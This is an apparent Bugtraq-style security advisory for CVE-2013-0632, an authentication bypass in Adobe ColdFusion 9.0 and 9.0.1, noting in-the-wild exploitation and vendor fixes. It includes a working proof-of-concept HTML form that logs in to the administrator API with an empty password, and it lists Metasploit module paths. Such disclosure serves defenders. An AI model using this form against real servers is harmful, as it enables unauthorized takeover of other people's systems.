Adobe ColdFusion CVE-2013-0632 Authentication Bypass Vulnerability

Bugtraq ID:	57330
Class:	Design Error
CVE:	CVE-2013-0632
Remote:	Yes
Local:	No
Published:	Jan 11 2013 12:00AM
Updated:	Dec 12 2013 06:38AM
Credit:	Will Fuller and Scott Buckel of Corporate Zen
Vulnerable:	Adobe ColdFusion 9.0.1 Adobe ColdFusion 9.0
Not Vulnerable:

Adobe ColdFusion CVE-2013-0632 Authentication Bypass Vulnerability

Adobe ColdFusion is prone to a remote authentication-bypass vulnerability.

An attacker can exploit this issue to bypass certain authentication processes and potentially allow an attacker to take control of the affected system.

Note: This issue affects ColdFusion customers who do not have password protection enabled or do not have a password set.

Adobe ColdFusion CVE-2013-0632 Authentication Bypass Vulnerability

Reportedly, this issue is being exploited in the wild.

The following Metasploit exploits and example code are available:

<form action="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfc?method=login" method="post">
<input type="hidden" name="adminpassword" value="">
<input type="hidden" name="rdsPasswordAllowed" value="1">
<input type="submit">
</form>

• /data/vulnerabilities/exploits/57330.rb
• /data/vulnerabilities/exploits/57330_2.rb

Adobe ColdFusion CVE-2013-0632 Authentication Bypass Vulnerability

Solution:
Vendor updates are available. Please see the references for more information.

Adobe ColdFusion CVE-2013-0632 Authentication Bypass Vulnerability

References:

• Adobe ColdFusion Home Page (Adobe)